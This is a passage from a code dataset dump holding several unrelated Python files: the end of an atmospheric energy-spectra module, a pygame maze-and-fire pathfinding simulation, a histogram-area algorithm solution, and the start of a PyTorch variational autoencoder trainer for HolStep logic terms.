hrottemp_KhOp_lm)\n\n #rotational KE flux Burgess et al. (2013)\n grad_vort_lon, grad_vort_lat = ds.oper.gradf_from_fsh(hrot_lm)\n vdelvort2 = u2d * grad_vort_lon + v2d * grad_vort_lat\n vdelvort2_lm = ds.oper.sh_from_spat(vdelvort2)\n\n vort = ds.oper.spat_from_sh(hrot_lm)\n vdelvort = u2d * self.dlam(vort) + v2d * self.dphi(vort)\n vdelvort_lm = ds.oper.sh_from_spat(vdelvort)\n\n In_pl[ip] = -0.25 * ds.oper.cospectrum_from_2fieldssh2(hrot_lm, vdelvort2_lm)\n\n\n #F_K vertical KE flux\n Phi_lm = ds.oper.sh_from_spat(Phi2d)\n F_Kv_pl[ip] = -ds.oper.cospectrum_from_2fieldssh(o2d_lm, Phi_lm)\n hdivou_lm, hrotou_lm = ds.oper.hdivrotsh_from_uv(o2d*u2d, o2d*v2d)\n\n F_Kt_pl[ip] = -ds.oper.cospectrum_from_2divrotsh(\n hdiv_lm, hrot_lm,\n hdivou_lm, hrotou_lm\n )/2\n\n\n #if instant ==1 and ip == 2:\n # ntim=100\n # nlev=10\n # nsp=16512\n # rota=np.loadtxt('/local/home/tabataba/tabataba/runs/diagnostics/rot_1omg.txt')\n # rotb=rota.reshape((ntim,nlev,nsp))\n # rotc=rotb[instant,ip,0:nsp-1:2]+(rotb[instant,ip,1:nsp:2])*1j\n\n # diva=np.loadtxt('/local/home/tabataba/tabataba/runs/diagnostics/div_1omg.txt')\n # divb=diva.reshape((ntim,nlev,nsp))\n # divc=divb[instant,ip,0:nsp-1:2]+(divb[instant,ip,1:nsp:2])*1j\n \n\n #L spectral transfer from coriolis forces\n Fcor_lon = -f_LATS*v2d\n Fcor_lat = +f_LATS*u2d\n hdivFcor_lm, hrotFcor_lm = ds.oper.hdivrotsh_from_uv(\n Fcor_lon, Fcor_lat)\n Lcori_pl[ip] = -ds.oper.cospectrum_from_2divrotsh(\n hdiv_lm, hrot_lm,\n hdivFcor_lm, hrotFcor_lm)\n\n psi_lm = ds.oper.create_array_sh(0.)\n chi_lm = ds.oper.create_array_sh(0.)\n COND = ds.oper.l2_idx > 0\n psi_lm[COND] = -earth.radius**2 / ds.oper.l2_idx[COND] * hrot_lm[COND]\n chi_lm[COND] = -earth.radius**2 / ds.oper.l2_idx[COND] * hdiv_lm[COND]\n #print earth.radius\n grad_psi_lon, grad_psi_lat = ds.oper.gradf_from_fsh(psi_lm)\n grad_chi_lon, grad_chi_lat = ds.oper.gradf_from_fsh(chi_lm)\n hdiv1 = ds.oper.spat_from_sh(hdiv_lm)\n hrot1 = ds.oper.spat_from_sh(hrot_lm)\n temp_rot = sinLATS * hdiv1 + cosLATS * grad_chi_lat / earth.radius**2\n temp_div = sinLATS * hrot1 - cosLATS * grad_psi_lat / earth.radius**2\n temp_rot_lm = ds.oper.sh_from_spat(temp_rot)\n temp_div_lm = ds.oper.sh_from_spat(temp_div)\n Lcalt_pl[ip] = fCor0 * (\n ds.oper.cospectrum_from_2fieldssh(psi_lm, temp_rot_lm)\n + ds.oper.cospectrum_from_2fieldssh(chi_lm, temp_div_lm)\n )\n Lcalt_pl[ip,0] = 0\n\n #if instant == 1 and ip == 2:\n #compare!\n # f = Dataset('/local/home/tabataba/tabataba/runs/diagnostics/1omg-t127-normtfrc-ac.010-zetad.nc')\n #time,lev,lat,lon\n # time = f.variables['time']\n # lat = f.variables['lat']\n # lon = f.variables['lon']\n # lev = f.variables['lev']\n # zeta=f.variables['zeta']\n # div =f.variables['d']\n # nlat = lat.shape[0]\n # nlon = lon.shape[0]\n # ntime = time.shape[0]\n # nlev = lev.shape[0]\n # zeta2d=zeta[instant,ip,:,:]\n # div2d =div[instant,ip,:,:]\n # zeta_lm = ds.oper.sh_from_spat(zeta2d[:])\n # div_lm = ds.oper.sh_from_spat(div2d[:])\n\n\n #ufromspec, vfromspec= ds.oper.uv_from_hdivrotsh(hdiv_lm, hrot_lm)\n\n #if instant == 1 and ip == 2: print 'comp rot'\n #if instant == 1 and ip == 2: print 'hrot',hrot_lm#, hrot_lm.shape\n #if instant == 1 and ip == 2: print 'rotc',rotc#, rotc.shape\n #if instant ==1 and ip ==2: print 'uR', uR_lm#, uR_lm.shape\n #if instant ==1 and ip ==2: print 'psi', psi_lm#, psi_lm.shape\n #if instant ==1 and ip ==2: print 'zeta_lm', zeta_lm#, zeta_lm.shape\n #if instant == 1 and ip == 2: print 'comp div'\n #if instant == 1 and ip == 2: print 'hdiv', hdiv_lm#, hdiv_lm.shape\n #if instant == 1 and ip == 2: print 'divc', divc#, divc.shape\n #if instant ==1 and ip ==2: print 'uD', uD_lm#, uD_lm.shape\n #if instant ==1 and ip ==2: print 'chi',chi_lm#, chi_lm.shape\n #if instant ==1 and ip ==2: print 'div_lm',div_lm#,div_lm.shape\n\n #if instant == 1 and ip==2: \n # print 'comp u'\n # print 'u2d',u2d,u2d.shape\n # print 'ufromspec',ufromspec,ufromspec.shape\n # print 'comp v'\n # print 'v2d',v2d,v2d.shape\n # print 'vfromspec',vfromspec,vfromspec.shape\n #import pdb; pdb.set_trace()\n \n \n\n #if instant ==0 and ip ==0: print p, uR_lm\n #print instant,ip,hrot1#,hdiv1.shape,hrot1.shape\n #print instant,ip,zeta[instant,ip,:,:]\n #/local/home/tabataba/tabataba/runs/diagnostics/1omg-t127-normtfrc-ac.010-zetad.nc\n\n\n #READ IN psi, chi from direct model output!\n\n\n return E_A_pl,E_K_pl,C_pl,F_A_pl,T_Av_pl,T_Ah_pl,T_Kh_pl,T_Kv_pl,T_Khrot_pl,F_Kt_pl,F_Kv_pl,Lcori_pl,Lcalt_pl,In_pl\n #raise NotImplementedError\n\n def compute_tmean(self,):\n\n ds = self._dataset\n ninstants=np.size(self._dataset.instants)\n\n E_A_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n E_K_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n C_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n T_Av_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n T_Ah_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n T_Kv_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n T_Kh_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n T_Khrot_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n F_A_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n F_Kt_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n F_Kv_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n Lcori_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n Lcalt_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n In_plt = np.zeros((ninstants,ds.nlev,ds.oper.lmax+1))\n\n for instant in self._dataset.instants:\n E_A,E_K,C,F_A,T_Av,T_Ah,T_Kh,T_Kv,T_Khrot,F_Kt,F_Kv,Lcori,Lcalt,In = (\n ds.spectra.compute_1instant(instant)\n )\n E_A_plt[instant,:] = E_A\n E_K_plt[instant,:] = E_K\n C_plt[instant,:] = C\n F_A_plt[instant,:] = F_A\n T_Av_plt[instant,:] = T_Av\n T_Ah_plt[instant,:] = T_Ah\n T_Kv_plt[instant,:] = T_Kv\n T_Kh_plt[instant,:] = T_Kh\n T_Khrot_plt[instant,:] = T_Khrot\n F_Kt_plt[instant,:] = F_Kt\n F_Kv_plt[instant,:] = F_Kv\n Lcori_plt[instant,:] = Lcori\n Lcalt_plt[instant,:] = Lcalt\n In_plt[instant,:] = In\n\n\n self.save_spec2(E_A_plt,varname='E_A_plt')\n self.save_spec2(E_K_plt,varname='E_K_plt')\n self.save_spec2(C_plt,varname='C_plt')\n self.save_spec2(T_Av_plt,varname='T_Av_plt')\n self.save_spec2(T_Ah_plt,varname='T_Ah_plt')\n self.save_spec2(T_Kv_plt,varname='T_Kv_plt')\n self.save_spec2(T_Kh_plt,varname='T_Kh_plt')\n self.save_spec2(T_Khrot_plt,varname='T_Khrot_plt')\n self.save_spec2(F_A_plt,varname='F_A_plt')\n self.save_spec2(F_Kt_plt,varname='F_Kt_plt')\n self.save_spec2(F_Kv_plt,varname='F_Kv_plt')\n self.save_spec2(Lcori_plt,varname='Lcori_plt')\n self.save_spec2(Lcalt_plt,varname='Lcalt_plt')\n self.save_spec2(In_plt,varname='In_plt')\n\n self.save_spec(np.mean(E_A_plt,axis=0),varname='E_A_tm')\n self.save_spec(np.mean(E_K_plt,axis=0),varname='E_K_tm')\n self.save_spec(np.mean(C_plt,axis=0),varname='C_tm')\n self.save_spec(np.mean(T_Av_plt,axis=0),varname='T_Av_tm')\n self.save_spec(np.mean(T_Ah_plt,axis=0),varname='T_Ah_tm')\n self.save_spec(np.mean(T_Kv_plt,axis=0),varname='T_Kv_tm')\n self.save_spec(np.mean(T_Kh_plt,axis=0),varname='T_Kh_tm')\n self.save_spec(np.mean(T_Khrot_plt,axis=0),varname='T_Khrot_tm')\n self.save_spec(np.mean(F_A_plt,axis=0),varname='F_A_tm')\n self.save_spec(np.mean(F_Kt_plt,axis=0),varname='F_Kt_tm')\n self.save_spec(np.mean(F_Kv_plt,axis=0),varname='F_Kv_tm')\n self.save_spec(np.mean(Lcori_plt,axis=0),varname='Lcori_tm')\n self.save_spec(np.mean(Lcalt_plt,axis=0),varname='Lcalt_tm')\n self.save_spec(np.mean(In_plt,axis=0),varname='In_tm')\n\n #self.save_spec(E_A,varname='E_A'+'_inst_'+str(instant))\n #self.save_spec(E_K,varname='E_K'+'_inst_'+str(instant))\n\n\n def save_spec(self, var, varname='save'):\n\n ds = self._dataset\n fname = self._get_path_from_name(varname)\n\n with net.Dataset(fname, 'w') as dsn:\n dsn.createDimension('lev', ds.nlev)\n dsn.createDimension('lmax', ds.oper.lmax+1)\n levs = dsn.createVariable('lev', float, ('lev',))\n levs[:] = ds.pressure_levels\n lmax = dsn.createVariable('lmax', float, ('lmax',))\n lmax[:] = ds.oper.lrange\n v = dsn.createVariable(varname, float, ('lev', 'lmax',))\n v[:] = var\n\n def save_spec2(self, var, varname='save'):\n\n ds = self._dataset\n fname = self._get_path_from_name(varname)\n\n ninstants=np.size(self._dataset.instants)\n #print self._dataset.instants\n\n with net.Dataset(fname, 'w') as dsn:\n dsn.createDimension('time', ninstants)\n dsn.createDimension('lev', ds.nlev)\n dsn.createDimension('lmax', ds.oper.lmax+1)\n time = dsn.createVariable('time', float, ('time',))\n time[:] = self._dataset.instants\n levs = dsn.createVariable('lev', float, ('lev',))\n levs[:] = ds.pressure_levels\n lmax = dsn.createVariable('lmax', float, ('lmax',))\n lmax[:] = ds.oper.lrange\n v = dsn.createVariable(varname, float, ('time', 'lev', 'lmax',))\n v[:] = var\n\n #raise NotImplementedError\n\n def save(self):\n raise NotImplementedError \n\n def load(self):\n raise NotImplementedError\n\n def plot(self):\n raise NotImplementedError\n","repo_name":"tabataba/spectratmo-puma","sub_path":"spectratmo/output/spectra.py","file_name":"spectra.py","file_ext":"py","file_size_in_byte":21784,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"42"} +{"seq_id":"20599956492","text":"import pygame as pygame\nimport numpy as np\nimport genData\n#import random\n#import alg\nimport time\nfrom alg import *\nfrom ast import literal_eval\nfrom route import *\nfrom sys import exit\nfrom collections import deque\n\n# To comment blocks of code press ctrl + /\n\nclass start:\n PYGAMEWIDTH = 300 # 600 # Do not change this: This is window sizing\n PYGAMEHEIGHT = 300 # Do not change this: This is window sizing\n row = 20 # row\n col = 20 # col\n box_width = 20\n box_height = 20\n maze_array = np.zeros((0, 0), dtype=int)\n player_movement = [[1, 1]]\n first_row = 0\n last_row = row - 1\n first_col = 0\n last_col = col - 1\n screen = None\n\n def __init__(self, sc_py):\n self.screen = sc_py\n\n# Functionality: Sets Value to border(top,bottom,left,right) to apply physicality - center for the real maze is\n# still empty\n def get_arr(self):\n return self.maze_array\n\n def Apply_border(self,a):\n for i in range(0,self.row):\n for j in range(0,self.col):\n if i==self.first_row or i==self.last_row:\n self.maze_array[i,j] = 8\n if i!=self.first_row and i!=self.last_row and (j==self.first_col or j==self.last_row):\n self.maze_array[i, j] = 8\n\n # Functionality: Displays boxes on the screen\n def maze_generator(self,display, color, row_x , col_y):\n pygame.draw.rect(display, color, [col_y, row_x, self.box_width, self.box_height]) # row_x=row and col_y=col is the position where the box will be displayed\n\n # Functionality: This function draws the maze on the pygame canvas/screen\n def draw_maze(self,screen, color):\n pl = 6\n for i in range(0,self.row):\n for j in range(0,self.col):\n if self.maze_array[i,j] == 8:\n self.maze_generator(screen, color, i * (self.box_width+1), j * (self.box_height+1))\n if self.maze_array[i, j] == 1:\n self.maze_generator(screen, (255,255,255), i * (self.box_width + 1), j * (self.box_height + 1)) # +1 is to add a border shade to the cells\n\n # This is to color the moving routes\n def m_pattern(self, i, j, color, status):\n self.set_maze_pattern(self.screen, i, j, color, status)\n\n # Functionality: Sets the canvas color for cells and values for the array indices\n def set_maze_pattern(self, screen, i, j , color, status):\n if status == 'blocked':\n self.maze_array[i, j] = 8\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n #pygame.display.flip()\n if status == 'start':\n self.maze_array[i, j] = 1\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n #pygame.display.flip()\n else:\n self.maze_array[i, j] = 1\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n #pygame.display.flip()\n\n\n # This is to color the moving routes\n def player_movement(self, i, j, color, status):\n self.set_player_movement(self.screen, i, j, color, status)\n\n # Functionality: Sets the player movement values on the array\n def set_player_movement(self, screen, i, j , color, status):\n if status == 'blocked':\n self.maze_array[i, j] = 8\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n pygame.display.flip()\n if status == 'start':\n self.maze_array[i, j] = 1\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n pygame.display.flip()\n if status == 'fire':\n self.maze_array[i, j] = 1111\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n pygame.display.flip()\n if status == 'back track':\n self.maze_array[i, j] = 1\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n pygame.display.flip()\n if status == 'player':\n self.maze_array[i, j] = 2\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n pygame.display.flip()\n else:\n self.maze_array[i, j] = 4\n self.maze_generator(screen, color, i * (self.box_width + 1), j * (self.box_height + 1))\n pygame.display.flip()\n time.sleep(0.05) # PLAYER\n\n # This is not color blocked cells\n def m_pattern_for_blockedpaths(self,i,j):\n self.set_maze_blocks(self.screen, i, j)\n\n def set_maze_blocks(self, screen, i, j):\n self.maze_array[i, j] = 8\n self.maze_generator(screen, (0, 128, 0), i * (self.box_width + 1), j * (self.box_height + 1))\n pygame.display.flip()\n\n #Functionality: maps values to 2d maze\n def map_values(self):\n for i in range(1, self.row-1):\n for j in range(1, self.col-1):\n if self.maze_array[i][j]==0:\n self.maze_array[i][j] = 1\n #self.maze_generator(self.screen, (0, 128, 0), i * (self.box_width + 1), j * (self.box_height + 1))\n\n # def val_for_Astr(self):\n # for i in range(1, self.row-1):\n # for j in range(1, self.col-1):\n # if self.maze_array[i][j] == 1:\n # self.maze_array[i][j] = 0\n\n def mark_start_end(self,start_i,start_j,i,j):\n self.maze_generator(self.screen, (255, 51, 255), start_i * (self.box_width + 1), start_j * (self.box_height + 1))\n self.maze_generator(self.screen , (255, 51, 255), i * (self.box_width + 1), j * (self.box_height + 1))\n\n def generate_maze(self, obj):\n # THIS IS WHERE YOU KNOW WHAT MAZE YOU ARE GENERATING\n array = []\n\n array = obj.maze_generate_BFS( self.maze_array )\n # array = obj.maze_generate_DFS()\n ##array = obj.generate_maze_no_alg() # To generate maze with out any algorithm\n array = obj.make_path_door(array)\n array = obj.clear_start(array , [1,1] , [self.last_row , self.last_col])\n self.maze_array = array\n\n #\n # array = obj.DELETETHISFUNCT()\n # self.maze_array = array\n #row - 2\n\n self.map_values() # To map values on 2d array maze map\n self.draw_maze(self.screen , (0,128,0)) # Draws out the GUI from the stored array values\n self.mark_start_end(1,1,self.row - 2,self.col - 2)\n\n def fire_start(self, i, j):\n if i!=0 and i!=19:\n if j!=0 and j!=19:\n self.maze_array[i + 1][j] = 1\n self.maze_array[i - 1][j] = 1\n self.maze_array[i][j + 1 ] = 1\n self.maze_array[i][j - 1] = 1\n\n self.maze_generator(self.screen, (255,255,255) , (i+1) * (self.box_width + 1), j * (self.box_height + 1))\n self.maze_generator(self.screen, (255,255,255) , (i-1) * (self.box_width + 1), j * (self.box_height + 1))\n self.maze_generator(self.screen, (255,255,255) , i * (self.box_width + 1), (j+1) * (self.box_height + 1))\n self.maze_generator(self.screen, (255,255,255) , i * (self.box_width + 1), (j-1) * (self.box_height + 1))\n\n\n def strategy_one(self, b, flammability): # b is the object\n move_player = b.player_init()\n move_player = b.a_star_SOne(move_player)\n b.init_fire()\n position = b.get_fire_init_pos()\n b.clear_path_fire(position[0] , position[1])\n self.fire_start(position[0] , position[1])\n\n i = 0\n j = 0\n status = False\n if type(move_player) == bool:\n if move_player == False:\n print(\" Target Not Reachable! \")\n if move_player == True:\n print(\" Target Not Reachable! \")\n\n if type(move_player) == list:\n while i < 5 or status == False:\n\n if j == len(move_player):\n print(\" Target Reached! \")\n break\n\n status = b.fire_movement_process(status, i, flammability)\n current_move = move_player[j]\n\n if self.maze_array[current_move[0]][current_move[1]] == 4:\n print(\" DIED! \")\n break\n\n if j < len(move_player):\n self.player_movement(current_move[0], current_move[1], (0, 0, 255), \"player\")\n self.player_movement(current_move[0], current_move[1], (255, 255, 102), \"player\")\n if status == True:\n print(\" Game Over! \")\n break\n i += 1\n j += 1\n if i == 5:\n i = 0\n\n def strategy_Two(self, b, flammability): # b is the object\n move_player = b.player_init()\n b.init_fire()\n position = b.get_fire_init_pos()\n b.clear_path_fire(position[0] , position[1])\n self.fire_start(position[0] , position[1])\n\n i = 0\n status = False\n already_visited = []\n inc = 0\n count = 0\n inc_stop = 0\n moves_list = b.recompute_a_star_Two(move_player,'returnList')\n\n moves_made = []\n\n if type(moves_list) == bool:\n print(\"Target Not reachable\")\n if moves_list==66:\n print(\"Target Not reachable\")\n\n else:\n currentmove = moves_list.pop(0)\n\n while i < 5 or status == False:\n status = b.fire_movement_process(status, i, flammability)\n sttus = b.recompute_a_star_Two(currentmove,'returnBool')\n if sttus == True:\n self.player_movement(currentmove[0], currentmove[1], (109, 109, 85), \"player\")\n #self.player_movement(currentmove[0], currentmove[1], (255, 255, 102), \"player\")\n if currentmove == [18, 18]:\n print(\"Target Reached\")\n break\n else:\n currentmove = moves_list.pop(0)\n already_visited.append(currentmove)\n else:\n moves_list = b.recompute_a_star_Two(move_player, 'returnList')\n\n if type(moves_list) == bool or moves_list == 66:\n print(\"Target Not reachable\")\n break\n else:\n currentmove = already_visited[-2] # moves_list.pop(0)\n\n if inc_stop >= 15:\n print(\"ERROR\")\n break\n if inc>=10 : # if backtracking is stuck between two spots and is not moving - then all cells that are added in restricted cells are removed for a new path computation\n b.rcmp_clear_restricted()\n inc = 0\n #b.rcmp_clear_restricted()\n self.player_movement(currentmove[0], currentmove[1], (0, 0, 255), \"player\")\n inc_stop += 1 # this is to confirm that infinite loop is on and break the loop\n i += 1\n inc += 1\n if i == 5:\n i = 0\n\n def strategy_Own(self, b, flammability): # b is the object\n move_player = b.player_init()\n b.init_fire()\n position = b.get_fire_init_pos()\n b.clear_path_fire(position[0] , position[1])\n self.fire_start(position[0] , position[1])\n\n i = 0\n status = False\n while i<5 or status == False:\n status = b.fire_movement_process(status,i,flammability)\n move_player = b.player_move_process(move_player)\n\n if type(move_player) == bool:\n if move_player==False:\n print(\"Target Not Reachable !\")\n break\n\n if move_player==True:\n print(\"Target Not Reachable !\")\n break\n\n if move_player == [18, 18]:#[ obj.row - 2, obj.col - 2 ]:\n print(\" Target Reached\")\n break\n\n if move_player == 88:\n print(\" DIED !\")\n break\n\n if status == True:\n print(\" DIED\")\n break\n\n i += 1\n if i==5:\n i=0\n\n b.clear_fire_list()\n\n\n\n def start_algorithm(self, obj, choice, flammability_rate):\n ThingsToAppearOnScreen_Display = self.screen\n self.maze_array = np.zeros((self.row, self.col), dtype=int)\n self.Apply_border(self.maze_array) # Sets array values for the border\n pygame.display.set_caption(\"TITLE\", \"ASD\")\n pygame.display.flip()\n a = mazeGen(ThingsToAppearOnScreen_Display, self.get_arr() , obj) # MY OWN CLASS\n self.generate_maze(a) # This function draws the maze\n pygame.display.flip()\n b = move(ThingsToAppearOnScreen_Display, self.get_arr() , obj)\n pygame.display.flip()\n flammability = flammability_rate\n\n if choice == 'StrategyOne' :\n self.strategy_one(b , flammability) # This should return results\n\n if choice == 'StrategyTwo':\n self.strategy_Two(b, flammability) # This should return results\n\n if choice == 'Own':\n self.strategy_Own(b, flammability) # This should return results\n\n pygame.display.flip()\n\n\n\n# # Press the green button in the gutter to run the script.\n# if __name__ == '__main__':\n# # pygame.init() # initializes the pygame object - Required to run the window on screen\n# # resolution = (600, 600) # screen resolution\n# # flags = pygame.DOUBLEBUF # Dont use noframe - easier when you update the screen\n# # ThingsToAppearOnScreen_Display = pygame.display.set_mode(resolution,flags) # This sets the width and height of the screen that pops up\n# # m = maze(ThingsToAppearOnScreen_Display)\n# # # m passed to start_game is for ref so no new object is called/copied instead I deal with the one I want to deal with\n# # m.start_game(m)\n#\n# # g = genData.generateData()\n# # g.avg_of_all()\n\n# References:\n# https://stackoverflow.com/questions/19882415/closing-pygame-window\n# https://www.machinelearningplus.com/plots/matplotlib-tutorial-complete-guide-python-plot-examples/","repo_name":"rizhkh/mazesearch","sub_path":"startprgm.py","file_name":"startprgm.py","file_ext":"py","file_size_in_byte":14420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"35837652450","text":"import sys\n\ninput = sys.stdin.readline\n\nn = int(input())\n\nhistogram = []\n\nfor _ in range(n):\n histogram.append(int(input()))\n\nstack = [(histogram[0], 0)]\n\nmax_square = 0\n\nfor i in range(1, n):\n # 스택은 오름차순으로 정렬될 예정인데\n # 자기보다 낮은게 나올때마다 넓이를 계산하고 깎는다\n # 자기보다 높은게 낮으면 그냥 안보고 넣는다\n # 맨 마지막에 높은게 나와도 반대편 계산은 나중에 한다`\n if stack and stack[-1][0] < histogram[i]:\n stack.append( (histogram[i], i))\n\n while stack and stack[-1][0] >= histogram[i]:\n height, idx = stack.pop()\n width = i - idx\n max_square = max(max_square, height * width)\n\n stack.append((histogram[i], idx))\n\nfor height, index in stack:\n max_square = max(max_square, (n - index) * height)\n\nprint(max_square)","repo_name":"pengisblue/AlgorithmStudy","sub_path":"03_Stack_Queue_Llist/bavo/baekjoon/1725_histogram.py","file_name":"1725_histogram.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"42"} +{"seq_id":"74831277887","text":"import argparse\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.distributed as distributed\nimport torch.utils.data.distributed\nimport torch.optim as optim\n\nfrom dataset.holstep import HolStepKernel, HolStepSet\nfrom dataset.holstep import HolStepTermDataset\n\n# from generic.lr_scheduler import RampUpCosineLR\n\nfrom tensorboardX import SummaryWriter\n\nfrom th2vec.models.transformer import VAE\n\nfrom utils.config import Config\nfrom utils.meter import Meter\nfrom utils.log import Log\nfrom utils.str2bool import str2bool\n\n\nclass Th2VecAutoEncoderEmbedder:\n def __init__(\n self,\n config: Config,\n kernel: HolStepKernel,\n ):\n self._config = config\n self._kernel = kernel\n\n self._device = torch.device(config.get('device'))\n\n self._save_dir = config.get('th2vec_save_dir')\n self._load_dir = config.get('th2vec_load_dir')\n\n self._tb_writer = None\n if self._config.get('tensorboard_log_dir'):\n if self._config.get('distributed_rank') == 0:\n self._tb_writer = SummaryWriter(\n self._config.get('tensorboard_log_dir'),\n )\n\n self._inner_model = VAE(self._config).to(self._device)\n\n Log.out(\n \"Initializing th2vec\", {\n 'parameter_count': self._inner_model.parameters_count(),\n },\n )\n\n self._model = self._inner_model\n self._loss = nn.NLLLoss()\n\n def init_training(\n self,\n train_dataset,\n ):\n if self._config.get('distributed_training'):\n self._model = torch.nn.parallel.DistributedDataParallel(\n self._inner_model,\n device_ids=[self._device],\n )\n\n self._optimizer = optim.Adam(\n self._model.parameters(),\n lr=self._config.get('th2vec_learning_rate'),\n )\n # self._scheduler = RampUpCosineLR(\n # self._optimizer,\n # self._config.get('th2vec_learning_rate_ramp_up'),\n # self._config.get('th2vec_learning_rate_period'),\n # self._config.get('th2vec_learning_rate_annealing'),\n # )\n\n self._train_sampler = None\n if self._config.get('distributed_training'):\n self._train_sampler = \\\n torch.utils.data.distributed.DistributedSampler(\n train_dataset,\n )\n\n pin_memory = False\n if self._config.get('device') != 'cpu':\n pin_memory = True\n\n self._train_loader = torch.utils.data.DataLoader(\n train_dataset,\n batch_size=self._config.get('th2vec_batch_size'),\n shuffle=(self._train_sampler is None),\n pin_memory=pin_memory,\n num_workers=8,\n sampler=self._train_sampler,\n )\n\n self._train_batch = 0\n\n def init_testing(\n self,\n test_dataset,\n ):\n pin_memory = False\n if self._config.get('device') != 'cpu':\n pin_memory = True\n\n self._test_loader = torch.utils.data.DataLoader(\n test_dataset,\n batch_size=self._config.get('th2vec_batch_size'),\n shuffle=False,\n num_workers=8,\n pin_memory=pin_memory,\n )\n\n def load(\n self,\n training=True,\n ):\n rank = self._config.get('distributed_rank')\n\n if self._load_dir:\n if os.path.isfile(\n self._load_dir + \"/model_{}.pt\".format(rank)\n ):\n Log.out(\n \"Loading th2vec models\", {\n 'save_dir': self._load_dir,\n })\n self._inner_model.load_state_dict(\n torch.load(\n self._load_dir + \"/model_{}.pt\".format(rank),\n map_location=self._device,\n ),\n )\n if training:\n self._optimizer.load_state_dict(\n torch.load(\n self._load_dir +\n \"/optimizer_{}.pt\".format(rank),\n map_location=self._device,\n ),\n )\n # self._scheduler.load_state_dict(\n # torch.load(\n # self._load_dir +\n # \"/scheduler_{}.pt\".format(rank),\n # map_location=self._device,\n # ),\n # )\n\n return self\n\n def save(\n self,\n ):\n rank = self._config.get('distributed_rank')\n\n if self._save_dir:\n Log.out(\n \"Saving th2vec models\", {\n 'save_dir': self._save_dir,\n })\n\n torch.save(\n self._inner_model.state_dict(),\n self._save_dir + \"/model_{}.pt\".format(rank),\n )\n torch.save(\n self._optimizer.state_dict(),\n self._save_dir + \"/optimizer_{}.pt\".format(rank),\n )\n # torch.save(\n # self._scheduler.state_dict(),\n # self._save_dir + \"/scheduler_{}.pt\".format(rank),\n # )\n\n def batch_train(\n self,\n epoch,\n ):\n assert self._train_loader is not None\n\n self._model.train()\n\n rec_loss_meter = Meter()\n kld_loss_meter = Meter()\n all_loss_meter = Meter()\n\n if self._config.get('distributed_training'):\n self._train_sampler.set_epoch(epoch)\n # self._scheduler.step()\n\n for it, trm in enumerate(self._train_loader):\n trm_rec, mu, logvar = self._model(trm.to(self._device))\n\n rec_loss = self._loss(\n trm_rec.view(-1, trm_rec.size(2)),\n trm.to(self._device).view(-1),\n )\n kld_loss = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp())\n\n all_loss = rec_loss + 0.001 * kld_loss\n\n self._optimizer.zero_grad()\n all_loss.backward()\n self._optimizer.step()\n\n rec_loss_meter.update(rec_loss.item())\n kld_loss_meter.update(kld_loss.item())\n all_loss_meter.update(all_loss.item())\n\n self._train_batch += 1\n\n if self._train_batch % 10 == 0:\n Log.out(\"TH2VEC AUTOENCODER_EMBEDDER TRAIN\", {\n 'train_batch': self._train_batch,\n 'rec_loss_avg': rec_loss_meter.avg,\n 'kld_loss_avg': kld_loss_meter.avg,\n 'loss_avg': all_loss_meter.avg,\n })\n\n if self._tb_writer is not None:\n self._tb_writer.add_scalar(\n \"train/th2vec/autoencoder_embedder/rec_loss\",\n rec_loss_meter.avg, self._train_batch,\n )\n self._tb_writer.add_scalar(\n \"train/th2vec/autoencoder_embedder/kld_loss\",\n kld_loss_meter.avg, self._train_batch,\n )\n self._tb_writer.add_scalar(\n \"train/th2vec/autoencoder_embedder/all_loss\",\n all_loss_meter.avg, self._train_batch,\n )\n\n rec_loss_meter = Meter()\n kld_loss_meter = Meter()\n all_loss_meter = Meter()\n\n Log.out(\"EPOCH DONE\", {\n 'epoch': epoch,\n # 'learning_rate': self._scheduler.get_lr(),\n })\n\n def batch_test(\n self,\n ):\n assert self._test_loader is not None\n\n self._model.eval()\n\n rec_loss_meter = Meter()\n\n with torch.no_grad():\n for it, trm in enumerate(self._test_loader):\n mu, _ = self._inner_model.encode(trm.to(self._device))\n trm_rec = self._inner_model.decode(mu)\n\n rec_loss = self._loss(\n trm_rec.view(-1, trm_rec.size(2)),\n trm.to(self._device).view(-1),\n )\n\n rec_loss_meter.update(rec_loss.item())\n\n if it == 0:\n trm_smp = self._inner_model.sample(trm_rec)\n\n Log.out(\"<<<\", {\n 'term': self._kernel.detokenize(\n trm[0].data.numpy(),\n ),\n })\n Log.out(\">>>\", {\n 'term': self._kernel.detokenize(\n trm_smp[0].cpu().data.numpy(),\n ),\n })\n\n Log.out(\"TH2VEC TEST\", {\n 'batch_count': self._train_batch,\n 'loss_avg': rec_loss_meter.avg,\n })\n\n if self._tb_writer is not None:\n self._tb_writer.add_scalar(\n \"test/th2vec/autoencoder_embedder/rec_loss\",\n rec_loss_meter.avg, self._train_batch,\n )\n\n rec_loss_meter = Meter()\n\n\ndef train():\n 